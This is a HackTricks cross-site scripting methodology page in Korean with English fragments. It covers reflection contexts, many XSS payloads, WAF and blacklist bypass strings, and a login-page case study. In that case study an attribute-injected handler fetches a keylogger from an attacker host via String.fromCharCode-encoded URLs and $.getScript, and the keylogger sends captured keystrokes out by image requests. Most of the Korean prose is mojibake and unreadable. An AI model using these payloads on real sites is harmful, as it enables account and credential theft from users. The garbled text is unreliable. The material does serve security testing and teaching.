%.*s
XSS (Cross Site Scripting)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๋ฐฉ๋ฒ๋ก
- ๋น์ ์ด ์ ์ดํ๋ any value you control (parameters, path, headers?, cookies?)๊ฐ HTML์ **๋ฐ์(reflected)**๋๊ฑฐ๋ JS ์ฝ๋์ ์ํด ์ฌ์ฉ๋๋์ง ํ์ธํฉ๋๋ค.
- ๊ฐ์ด ๋ฐ์/์ฌ์ฉ๋๋ ์ปจํ ์คํธ๋ฅผ ํ์ ํฉ๋๋ค.
- ๋ง์ฝ reflected๋ผ๋ฉด
- ์ด๋ค ๊ธฐํธ๋ฅผ ์ฌ์ฉํ ์ ์๋์ง ํ์ธํ๊ณ ๊ทธ์ ๋ฐ๋ผ payload๋ฅผ ์ค๋นํฉ๋๋ค:
- raw HTML์์:
- ์๋ก์ด HTML ํ๊ทธ๋ฅผ ๋ง๋ค ์ ์๋์?
javascript:ํ๋กํ ์ฝ์ ์ง์ํ๋ ์ด๋ฒคํธ๋ ์์ฑ์ ์ฌ์ฉํ ์ ์๋์?- ๋ณดํธ์ฅ์น๋ฅผ ์ฐํํ ์ ์๋์?
- HTML ์ฝํ ์ธ ๊ฐ ์ด๋ค ํด๋ผ์ด์ธํธ ์ฌ์ด๋ JS ์์ง(AngularJS, VueJS, Mavoโฆ)์ ์ํด ํด์๋๋ค๋ฉด, Client Side Template Injection๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค.
- JS ์ฝ๋๋ฅผ ์คํํ๋ HTML ํ๊ทธ๋ฅผ ๋ง๋ค ์ ์๋ค๋ฉด, Dangling Markup - HTML scriptless injection๋ฅผ ์ ์ฉํ ์ ์๋์?
- HTML ํ๊ทธ ์์์:
- attribute์์ ๋ฒ์ด๋ raw HTML ์ปจํ ์คํธ๋ก ๋๊ฐ ์ ์๋์?
- JS ์ฝ๋๋ฅผ ์คํํ ์ด๋ฒคํธ/์์ฑ์ ๋ง๋ค ์ ์๋์?
- ๊ฐํ ์๋ ์์ฑ์ด JS ์คํ์ ์ง์ํ๋์?
- ๋ณดํธ์ฅ์น๋ฅผ ์ฐํํ ์ ์๋์?
- JavaScript ์ฝ๋ ๋ด๋ถ์์:
<script>ํ๊ทธ๋ฅผ ํ์ถํ ์ ์๋์?- ๋ฌธ์์ด์ ํ์ถํด ๋ค๋ฅธ JS ์ฝ๋๋ฅผ ์คํํ ์ ์๋์?
- ์ ๋ ฅ์ด ํ ํ๋ฆฟ ๋ฆฌํฐ๋ด ```` ์์ ์๋์?
- ๋ณดํธ์ฅ์น๋ฅผ ์ฐํํ ์ ์๋์?
- ์คํ๋๋ Javascript function
- ์คํํ ํจ์ ์ด๋ฆ์ ์ง์ ํ ์ ์์ต๋๋ค. ์:
?callback=alert(1) - ๋ง์ฝ used๋ผ๋ฉด:
- DOM XSS๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค. ์ ๋ ฅ์ด ์ด๋ป๊ฒ ์ ์ด๋๋์ง, ๊ทธ๋ฆฌ๊ณ ๋น์ ์ด ์ ์ดํ๋ ์ ๋ ฅ์ด ์ด๋ค sink์์ ์ฌ์ฉ๋๋์ง ์ฃผ์ ๊น๊ฒ ํ์ธํ์ธ์.
๋ณต์กํ XSS ์์ ์ ํ ๋ ๋ค์์ด ๋์์ด ๋ ์ ์์ต๋๋ค:
Reflected values
XSS๋ฅผ ์ฑ๊ณต์ ์ผ๋ก ์ ์ฉํ๋ ค๋ฉด ๊ฐ์ฅ ๋จผ์ ์ฐพ์์ผ ํ ๊ฒ์ ์น ํ์ด์ง์ **๋ฐ์(reflected)**๋๋ ๋น์ ์ด ์ ์ดํ๋ ๊ฐ์ ๋๋ค.
- ์ค๊ฐ์ ์ผ๋ก ๋ฐ์๋ ๊ฒฝ์ฐ(Intermediately reflected): ํ๋ผ๋ฏธํฐ ๊ฐ์ด๋ ๊ฒฝ๋ก ๊ฐ์ด ์น ํ์ด์ง์ ๋ฐ์๋๋ ๊ฒ์ ๋ฐ๊ฒฌํ๋ฉด Reflected XSS๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค.
- ์ ์ฅ๋์ด ๋ฐ์๋๋ ๊ฒฝ์ฐ(Stored and reflected): ๋น์ ์ด ์ ์ดํ๋ ๊ฐ์ด ์๋ฒ์ ์ ์ฅ๋๊ณ ํ์ด์ง์ ์ ๊ทผํ ๋๋ง๋ค ๋ฐ์๋๋ค๋ฉด Stored XSS๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค.
- JS๋ฅผ ํตํด ์ ๊ทผ๋๋ ๊ฒฝ์ฐ(Accessed via JS): ๋น์ ์ด ์ ์ดํ๋ ๊ฐ์ด JS๋ก ์ ๊ทผ๋๋ ๊ฒ์ ๋ฐ๊ฒฌํ๋ฉด DOM XSS๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค.
์ปจํ ์คํธ
XSS๋ฅผ ์ ์ฉํ๋ ค ํ ๋ ๊ฐ์ฅ ๋จผ์ ์์์ผ ํ ๊ฒ์ ์ด๋์ ์ ๋ ฅ์ด ๋ฐ์๋๋๊ฐ์ ๋๋ค. ์ปจํ ์คํธ์ ๋ฐ๋ผ ์์์ JS ์ฝ๋๋ฅผ ์คํํ ์ ์๋ ๋ฐฉ๋ฒ์ด ๋ฌ๋ผ์ง๋๋ค.
์์ HTML
์
๋ ฅ์ด ์์ HTML์ ๋ฐ์๋๋ค๋ฉด JS ์ฝ๋๋ฅผ ์คํํ๊ธฐ ์ํด ๋ช๋ช HTML ํ๊ทธ๋ฅผ ์
์ฉํด์ผ ํฉ๋๋ค: <img , <iframe , <svg , <script โฆ ์ด๋ ์ฌ์ฉํ ์ ์๋ ๋ง์ HTML ํ๊ทธ ์ค ์ผ๋ถ์ผ ๋ฟ์
๋๋ค.
๋ํ Client Side Template Injection์ ์ผ๋์ ๋์ธ์.
HTML ํ๊ทธ์ attribute ์
์ ๋ ฅ์ด ํ๊ทธ์ ์์ฑ ๊ฐ ์์ ๋ฐ์๋๋ค๋ฉด ๋ค์์ ์๋ํด๋ณผ ์ ์์ต๋๋ค:
- ์์ฑ๊ณผ ํ๊ทธ์์ ํ์ถํ์ฌ(๊ทธ๋ผ raw HTML ์ปจํ
์คํธ๊ฐ ๋ฉ๋๋ค) ์ HTML ํ๊ทธ๋ฅผ ๋ง๋ค์ด ์
์ฉํฉ๋๋ค:
"><img [...] - ์์ฑ์ ํ์ถํ ์ ์์ง๋ง ํ๊ทธ๋ ํ์ถํ ์ ์๋ ๊ฒฝ์ฐ (
>๊ฐ ์ธ์ฝ๋ฉ๋๊ฑฐ๋ ์ญ์ ๋๋ ๊ฒฝ์ฐ), ํ๊ทธ์ ๋ฐ๋ผ JS ์ฝ๋๋ฅผ ์คํํ๋ ์ด๋ฒคํธ๋ฅผ ๋ง๋ค ์ ์์ต๋๋ค:" autofocus onfocus=alert(1) x=" - ์์ฑ์์ ํ์ถํ ์ ์๋ ๊ฒฝ์ฐ (
"๊ฐ ์ธ์ฝ๋ฉ๋๊ฑฐ๋ ์ญ์ ๋๋ ๊ฒฝ์ฐ), ๊ฐ์ด ๋ฐ์๋๋ ์ด๋ค ์์ฑ์ธ์ง, ๊ทธ๋ฆฌ๊ณ ์ ์ฒด ๊ฐ์ ์ ์ดํ๋์ง ์ผ๋ถ๋ง ์ ์ดํ๋์ง์ ๋ฐ๋ผ ์ ์ฉ ๊ฐ๋ฅ์ฑ์ด ๋ฌ๋ผ์ง๋๋ค. ์๋ฅผ ๋ค์ด,onclick=๊ฐ์ ์ด๋ฒคํธ๋ฅผ ์ ์ดํ ์ ์๋ค๋ฉด ํด๋ฆญ ์ ์์ ์ฝ๋๋ฅผ ์คํํ๊ฒ ํ ์ ์์ต๋๋ค. ๋ ๋ค๋ฅธ ํฅ๋ฏธ๋ก์ด ์๋ก๋href์์ฑ์ผ๋ก,javascript:ํ๋กํ ์ฝ์ ์ฌ์ฉํด ์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค:href="javascript:alert(1)" - ์
๋ ฅ์ด โ์์ ์ธ ํ๊ทธ(unexpoitable tags)โ ์์ ๋ฐ์๋๋ค๋ฉด
accesskeyํธ๋ฆญ์ ์๋ํด๋ณผ ์ ์์ต๋๋ค(์ด๋ฅผ ์ ์ฉํ๋ ค๋ฉด ์ด๋ ์ ๋์ social engineering์ด ํ์ํฉ๋๋ค):" accesskey="x" onclick="alert(1)" x="
Attribute-only ๋ก๊ทธ์ธ XSS (WAFs ๋ค)
ํ ๊ธฐ์
SSO ๋ก๊ทธ์ธ ํ์ด์ง๊ฐ OAuth service ํ๋ผ๋ฏธํฐ๋ฅผ <a id="forgot_btn" ...>์ href ์์ฑ ์์ ๋ฐ์ํ์ต๋๋ค. <์ >๋ HTML-์ธ์ฝ๋ฉ ๋์์ง๋ง, ํฐ๋ฐ์ดํ๋ ์ธ์ฝ๋ฉ๋์ง ์์๊ธฐ ๋๋ฌธ์ ๊ณต๊ฒฉ์๋ ์์ฑ์ ๋ซ๊ณ ๊ฐ์ ์์๋ฅผ ์ฌ์ฌ์ฉํ์ฌ " onfocus="payload" x=" ๊ฐ์ ํธ๋ค๋ฌ๋ฅผ ์ฃผ์
ํ ์ ์์์ต๋๋ค.
- ํธ๋ค๋ฌ ์ฃผ์
:
onclick="print(1)"๊ฐ์ ๊ฐ๋จํ payload๋ ์ฐจ๋จ๋์์ง๋ง, WAF๋ ์ธ๋ผ์ธ ์์ฑ์์ ์ฒซ ๋ฒ์งธ JavaScript ๋ฌธ์ฅ๋ง ๊ฒ์ฌํ์ต๋๋ค. ๋ฌดํดํ ํํ์์ ๊ดํธ๋ก ๊ฐ์ผ ๋ค ์ธ๋ฏธ์ฝ๋ก ์ ๋ถ์ฌ ์ค์ payload๊ฐ ์คํ๋๊ฒ ํ์ต๋๋ค:onfocus="(history.length);malicious_code_here". - ์๋ ํธ๋ฆฌ๊ฑฐ: ๋ธ๋ผ์ฐ์ ๋ fragment๊ฐ ์์์
id์ ์ผ์นํ๋ฉด ๊ทธ ์์์ ํฌ์ปค์ค๋ฅผ ์ฃผ๋ฏ๋ก, exploit URL์#forgot_btn์ ์ถ๊ฐํ๋ฉด ํ์ด์ง ๋ก๋ ์ ์ต์ปค์ ํฌ์ปค์ค๊ฐ ๊ฐ์ ํด๋ฆญ ์์ด๋ ํธ๋ค๋ฌ๊ฐ ์คํ๋ฉ๋๋ค. - ์ธ๋ผ์ธ ์คํ
์ ์๊ฒ ์ ์ง: ๋์ ํ์ด์ง๋ ์ด๋ฏธ jQuery๋ฅผ ํฌํจํ๊ณ ์์์ต๋๋ค. ํธ๋ค๋ฌ๋ ๋จ์ง
$.getScript(...)๋ก ์์ฒญ์ ๋ถํธ์คํธ๋ฉํ๋ฉด ๋์๊ณ , ์ ์ฒด keylogger๋ ๊ณต๊ฒฉ์ ์๋ฒ์ ์์์ต๋๋ค.
๋ฐ์ดํ ์์ด ๋ฌธ์์ด ๋ง๋ค๊ธฐ
์ฑ๊ธ ์ฟผํธ๋ URL-์ธ์ฝ๋ฉ๋์ด ๋ฐํ๋์๊ณ ์ด์ค์ผ์ดํ๋ ๋๋ธ ์ฟผํธ๋ ์์ฑ์ ์์์์ผฐ๊ธฐ ๋๋ฌธ์, ํ์ด๋ก๋๋ ๋ชจ๋ ๋ฌธ์์ด์ String.fromCharCode๋ก ์์ฑํ์ต๋๋ค. ์ด๋ค URL์ด๋ ์์ฑ์ ๋ถ์ฌ๋ฃ๊ธฐ ์ ์ ๋ฌธ์ ์ฝ๋๋ก ๋ณํํ๊ธฐ ์ฝ๊ฒ ํด์ฃผ๋ ํฌํผ ํจ์๊ฐ ์์ต๋๋ค:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
๊ฒฐ๊ณผ๋ก ์์ฑ๋ ์์ฑ์ ๋ค์๊ณผ ๊ฐ์์ต๋๋ค:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
์ ์ด๊ฒ์ด ์๊ฒฉ ์ฆ๋ช ์ ํ์น๋๊ฐ
์ธ๋ถ ์คํฌ๋ฆฝํธ(๊ณต๊ฒฉ์ ์ ์ด ํธ์คํธ ๋๋ Burp Collaborator์์ ๋ก๋๋จ)๋ document.onkeypress๋ฅผ ํ
ํนํ๊ณ , ํค ์
๋ ฅ์ ๋ฒํผ๋งํ์ผ๋ฉฐ, ๋งค์ด new Image().src = collaborator_url + keys๋ฅผ ํธ์ถํ์ต๋๋ค. XSS๋ ์ธ์ฆ๋์ง ์์ ์ฌ์ฉ์์๊ฒ๋ง ๋ฐ์ํ๊ธฐ ๋๋ฌธ์ ๋ฏผ๊ฐํ ๋์์ ๋ก๊ทธ์ธ ํผ ์์ฒด์
๋๋คโ๊ณต๊ฒฉ์๋ ํผํด์๊ฐ โLoginโ์ ๋๋ฅด์ง ์์๋ ์ฌ์ฉ์๋ช
๊ณผ ๋น๋ฐ๋ฒํธ๋ฅผ ํค๋ก๊น
ํฉ๋๋ค.
ํด๋์ค ์ด๋ฆ์ ์ ์ดํ๋ฉด Angular๊ฐ XSS๋ฅผ ์คํํ๋ ์ด์ํ ์:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
JavaScript ์ฝ๋ ๋ด๋ถ
์ด ๊ฒฝ์ฐ ์
๋ ฅ์ HTML ํ์ด์ง์ <script> [...] </script> ํ๊ทธ ์ฌ์ด, .js ํ์ผ ๋ด๋ถ ๋๋ javascript: ํ๋กํ ์ฝ์ ์ฌ์ฉํ๋ ์ดํธ๋ฆฌ๋ทฐํธ ๋ด๋ถ์ ๋ฐ์๋ฉ๋๋ค:
- ๋ง์ฝ
<script> [...] </script>ํ๊ทธ ์ฌ์ด์ ๋ฐ์๋๋ค๋ฉด, ์ ๋ ฅ์ด ์ด๋ค ์ข ๋ฅ์ ๋ฐ์ดํ ์์ ์๋๋ผ๋</script>๋ฅผ ์ฃผ์ ํด ์ด ์ปจํ ์คํธ์์ ํ์ถํ ์ ์์ต๋๋ค. ์ด๋ ๋ธ๋ผ์ฐ์ ๊ฐ ๋จผ์ HTML ํ๊ทธ๋ฅผ ํ์ฑํ ๋ค์ ์ฝํ ์ธ ๋ฅผ ์ฒ๋ฆฌํ๊ธฐ ๋๋ฌธ์ ์๋ํ๋ฉฐ, ๋ธ๋ผ์ฐ์ ๋ ๋น์ ์ด ์ฃผ์ ํ</script>ํ๊ทธ๊ฐ HTML ์ฝ๋ ๋ด๋ถ์ ์๋ค๋ ๊ฒ์ ์ธ์ํ์ง ๋ชปํฉ๋๋ค. - ๋ง์ฝ ์ ๋ ฅ์ด JS ๋ฌธ์์ด ๋ด๋ถ์ ๋ฐ์๋๊ณ ์ด์ ํธ๋ฆญ์ด ํตํ์ง ์๋๋ค๋ฉด, ๋ฌธ์์ด์์ ํ์ถํ๊ณ , ์ฝ๋๋ฅผ ์คํํ ๋ค์ JS ์ฝ๋๋ฅผ ์ฌ๊ตฌ์ฑํด์ผ ํฉ๋๋ค (์๋ฌ๊ฐ ๋ฐ์ํ๋ฉด ์คํ๋์ง ์์ต๋๋ค:
'-alert(1)-'';-alert(1)//\';alert(1)//- ํ
ํ๋ฆฟ ๋ฆฌํฐ๋ด ๋ด๋ถ์ ๋ฐ์๋๋ค๋ฉด
${ ... }๋ฌธ๋ฒ์ ์ฌ์ฉํด JS ํํ์์ ์ฝ์ ํ ์ ์์ต๋๋ค:var greetings = `Hello, ${alert(1)}` - Unicode encode๋ valid javascript code๋ฅผ ์์ฑํ๋ ๋ฐ ์ ์ฉํฉ๋๋ค:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting๋ ํจ์, ๋ณ์ ๋๋ ํด๋์ค๋ฅผ ์ฌ์ฉ๋ ์ดํ์ ์ ์ธํ ์ ์๋ ๊ธฐํ๋ฅผ ์๋ฏธํ๋ฉฐ, ์ด๋ XSS๊ฐ ์ ์ธ๋์ง ์์ ๋ณ์๋ ํจ์๋ฅผ ์ฌ์ฉํ๋ ์ํฉ์ ์
์ฉํ ์ ์๊ฒ ํด์ค๋ค.
์์ธํ ๋ด์ฉ์ ๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ธ์:
Javascript Function
Several web pages have endpoints that accept as parameter the name of the function to execute. A common example to see in the wild is something like: ?callback=callbackFunc.
์ฌ์ฉ์๊ฐ ์ง์ ์ ๊ณตํ ๊ฐ์ด ์คํ๋๋์ง ํ์ธํ๋ ์ข์ ๋ฐฉ๋ฒ์ param ๊ฐ์ ์์ ํ๋ ๊ฒ(์: โVulnerableโ)์ด๊ณ console์์ ๋ค์๊ณผ ๊ฐ์ ์๋ฌ๋ฅผ ํ์ธํ๋ ๊ฒ์ด๋ค:
.png)
์ทจ์ฝํ ๊ฒฝ์ฐ, ๋จ์ง ๊ฐ์ ์ ์กํ๋ ๊ฒ๋ง์ผ๋ก alert๋ฅผ ํธ๋ฆฌ๊ฑฐํ ์ ์๋ค: ?callback=alert(1). ํ์ง๋ง ์ด๋ฌํ endpoints๋ ์ผ๋ฐ์ ์ผ๋ก ๋ฌธ์, ์ซ์, ์ ๋ฐ ๋ฐ์ค๋ง ํ์ฉํ๋๋ก ๋ด์ฉ์ ๊ฒ์ฆํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง๋ค ([\w\._]).
ํ์ง๋ง ๊ทธ ์ ํ์ด ์์ด๋ ์ผ๋ถ ๋์์ ์ํํ๋ ๊ฒ์ด ์ฌ์ ํ ๊ฐ๋ฅํ๋ค. ์ด๋ ํ์ฉ๋ ๋ฌธ์๋ค๋ก DOM์ ์ด๋ค ์์๋ ์ ๊ทผํ ์ ์๊ธฐ ๋๋ฌธ์ด๋ค:
.png)
์ด๋ฅผ ์ํด ์ ์ฉํ ํจ์๋ค:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
You can also try to trigger Javascript functions directly: obj.sales.delOrders.
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, other pages in the same origin will have a more interesting DOM to perform more actions.
Therefore, in order to abuse this vulnerability in a different DOM the Same Origin Method Execution (SOME) exploitation was developed:
SOME - Same Origin Method Execution
DOM
JS code๊ฐ ์์ ํ์ง ์๊ฒ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ์ผ๋ถ ๋ฐ์ดํฐ(์: location.href)๋ฅผ ์ฌ์ฉํ๊ณ ์์ต๋๋ค. ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ์
์ฉํ์ฌ ์์์ JS ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
Universal XSS
์ด๋ฌํ ์ ํ์ XSS๋ anywhere์์ ๋ฐ๊ฒฌ๋ ์ ์์ต๋๋ค. ์ด๊ฒ๋ค์ ์น ์ ํ๋ฆฌ์ผ์ด์
์ ํด๋ผ์ด์ธํธ ์ทจ์ฝ์ ๋ง์ด ์๋๋ผ any context์ ์์กดํฉ๋๋ค. ์ด๋ฌํ ์ ํ์ arbitrary JavaScript execution์ ์ฌ์ง์ด RCE๋ฅผ ์ป๊ฑฐ๋ ํด๋ผ์ด์ธํธ์ ์๋ฒ์์ ์์์ ํ์ผ์ ์ฝ๋ ๋ฑ์ผ๋ก ์
์ฉ๋ ์ ์์ต๋๋ค.
๋ช ๊ฐ์ง examples:
WAF bypass encoding image
.jpg)
Injecting inside raw HTML
์
๋ ฅ๊ฐ์ด inside the HTML page์ ๋ฐ์๋๊ฑฐ๋ ์ด ์ปจํ
์คํธ์์ ์ด์ค์ผ์ดํํ์ฌ HTML ์ฝ๋๋ฅผ ์ฃผ์
ํ ์ ์๋ ๊ฒฝ์ฐ, ๊ฐ์ฅ ๋จผ์ ํด์ผ ํ ์ผ์ ์ ํ๊ทธ๋ฅผ ๋ง๋ค๊ธฐ ์ํด <๋ฅผ ์
์ฉํ ์ ์๋์ง ํ์ธํ๋ ๊ฒ์
๋๋ค: ํด๋น char๊ฐ ๋ฐ์๋๋์ง ํ์ธํ๊ณ ๊ทธ๊ฒ์ด HTML encoded๋๋์ง, deleted๋๋์ง, ์๋๋ฉด reflected without changes ๋๋์ง๋ฅผ ํ์ธํ์ธ์. Only in the last case you will be able to exploit this case.
For this cases also keep in mind Client Side Template Injection.
Note: A HTML comment can be closed using****-->****or **--!>**
In this case and if no black/whitelisting is used, you could use payloads like:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
ํ์ง๋ง tags/attributes์ black/whitelisting์ด ์ ์ฉ๋๋ ๊ฒฝ์ฐ, ์์ฑํ ์ ์๋ ํ๊ทธ๋ฅผ ์์๋ด๊ธฐ ์ํด brute-force which tags๋ฅผ ์ํํด์ผ ํฉ๋๋ค.
์ผ๋จ located which tags are allowed ํ๋ฉด, ์ฐพ์ ์ ํจํ ํ๊ทธ ๋ด๋ถ์์ ๋ฌธ๋งฅ์ ๊ณต๊ฒฉํ ์ ์๋ ๋ฐฉ๋ฒ์ ํ์ธํ๊ธฐ ์ํด brute-force attributes/events๋ฅผ ์ํํด์ผ ํฉ๋๋ค.
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. ๊ทธ๋ฐ ๋ค์ Burp intruder๋ฅผ ์ฌ์ฉํด ํ๊ทธ๋ค์ ์ ๋ถ ์ ์กํ๊ณ WAF๊ฐ ์ ์ฑ์ผ๋ก ํ๋ณํ์ง ์์ ํ๊ทธ๊ฐ ์๋์ง ํ์ธํ์ธ์. ์ฌ์ฉ ๊ฐ๋ฅํ ํ๊ทธ๋ฅผ ์ฐพ์๋ด๋ฉด, ์ ํจํ ํ๊ทธ๋ฅผ ์ฌ์ฉํด ๋ชจ๋ ์ด๋ฒคํธ๋ฅผ brute force all the eventsํ ์ ์์ต๋๋ค (๊ฐ์ ํ์ด์ง์์ _Copy events to clipboard_๋ฅผ ํด๋ฆญํ๊ณ ์ด์ ๊ณผ ๊ฐ์ ์ ์ฐจ๋ฅผ ๋ฐ๋ฅด์ธ์).
Custom tags
์ ํจํ HTML ํ๊ทธ๋ฅผ ์ฐพ์ง ๋ชปํ๋ค๋ฉด, create a custom tag๋ฅผ ๋ง๋ค์ด onfocus ์์ฑ์ผ๋ก JS ์ฝ๋๋ฅผ ์คํํด๋ณผ ์ ์์ต๋๋ค. XSS ์์ฒญ์์๋ URL ๋์ #์ ๋ถ์ฌ ํ์ด์ง๊ฐ ํด๋น ๊ฐ์ฒด์ focus on that object ํ๋๋ก ํ๊ณ ์ฝ๋๋ฅผ execute ํ๊ฒ ๋ง๋ค์ด์ผ ํฉ๋๋ค:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
์ด๋ค ํํ์ blacklist๊ฐ ์ฌ์ฉ๋๊ณ ์๋ค๋ฉด, ๋ช ๊ฐ์ง ๊ฐ๋จํ ํธ๋ฆญ์ผ๋ก ์ด๋ฅผ bypassํด ๋ณผ ์ ์์ต๋๋ค:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
๊ธธ์ด ์ฐํ (small XSSs)
[!NOTE] > ๋ค์ํ ํ๊ฒฝ์ ์ํ ๋ ๋ง์ tiny XSS payload can be found here ๋ฐ here.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//โกใ.pw>
๋ง์ง๋ง ๊ฒ์ 2๊ฐ์ unicode ๋ฌธ์๋ฅผ ์ฌ์ฉํ๋ฉฐ 5๊ฐ๋ก ํ์ฅ๋ฉ๋๋ค: telsr
๋ ๋ง์ ์ด๋ฌํ ๋ฌธ์๋ค์ here.
์ด๋ค ๋ฌธ์๋ค์ด ๋ถํด๋๋์ง ํ์ธํ๋ ค๋ฉด here.
Click XSS - Clickjacking
์ทจ์ฝ์ ์ ์ ์ฉํ๊ธฐ ์ํด ๋ฏธ๋ฆฌ ์ฑ์์ง ๋ฐ์ดํฐ๊ฐ ์๋ ์ฌ์ฉ์๊ฐ ๋งํฌ๋ ํผ์ ํด๋ฆญํด์ผ ํ๋ ๊ฒฝ์ฐ, ํ์ด์ง๊ฐ ์ทจ์ฝํ๋ค๋ฉด abuse Clickjacking๋ฅผ ์๋ํ ์ ์์ต๋๋ค.
Impossible - Dangling Markup
๋ง์ฝ ๋จ์ง HTML ํ๊ทธ์ ์์ฑ์ ๋ฃ์ด JS ์ฝ๋๋ฅผ ์คํํ๋ ํ๊ทธ๋ฅผ ๋ง๋๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅํ๋ค๊ณ ์๊ฐํ๋ค๋ฉด, Danglig Markup ๋ฅผ ํ์ธํ์ธ์. ์๋ํ๋ฉด JS ์ฝ๋๋ฅผ ์คํํ์ง ์๊ณ ๋ ์ทจ์ฝ์ ์ exploitํ ์ ์๊ธฐ ๋๋ฌธ์ ๋๋ค.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
๋ง์ฝ HTML ํ๊ทธ ๋ด๋ถ์ ์๋ค๋ฉด, ์ฐ์ ์๋ํด๋ณผ ๊ฒ์ ํ๊ทธ์์ **ํ์ถ(escape)**ํ์ฌ previous section์ ์ธ๊ธ๋ ๊ธฐ๋ฒ๋ค ์ค ์ผ๋ถ๋ฅผ ์ฌ์ฉํด JS ์ฝ๋๋ฅผ ์คํํด๋ณด๋ ๊ฒ์
๋๋ค.
ํ๊ทธ์์ ํ์ถํ ์ ์๋ค๋ฉด, JS ์ฝ๋๋ฅผ ์คํํ๋ ค๊ณ ํ๊ทธ ๋ด๋ถ์ ์๋ก์ด attributes๋ฅผ ์์ฑํด ๋ณผ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด ๋ค์๊ณผ ๊ฐ์ payload๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค (note that in this example double quotes are use to escape from the attribute, you wonโt need them if your input is reflected directly inside the tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
์คํ์ผ ์ด๋ฒคํธ
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
์์ฑ ๋ด๋ถ
์ค๋ น ์์ฑ์์ ํ์ถํ ์ ์๋ค ("๊ฐ ์ธ์ฝ๋ฉ๋๊ฑฐ๋ ์ญ์ ๋๋ ๊ฒฝ์ฐ), ๊ฐ์ด ๋ฐ์๋๋ ์ด๋ค ์์ฑ์ธ์ง, ๊ทธ๋ฆฌ๊ณ ๊ฐ ์ ์ฒด๋ฅผ ์ ์ดํ๋์ง ์ผ๋ถ๋ง ์ ์ดํ๋์ง์ ๋ฐ๋ผ ์ด๋ฅผ ์
์ฉํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, onclick= ๊ฐ์ ์ด๋ฒคํธ๋ฅผ ์ ์ดํ ์ ์๋ค๋ฉด ํด๋ฆญ๋ ๋ ์์์ ์ฝ๋๋ฅผ ์คํํ๊ฒ ํ ์ ์์ต๋๋ค.
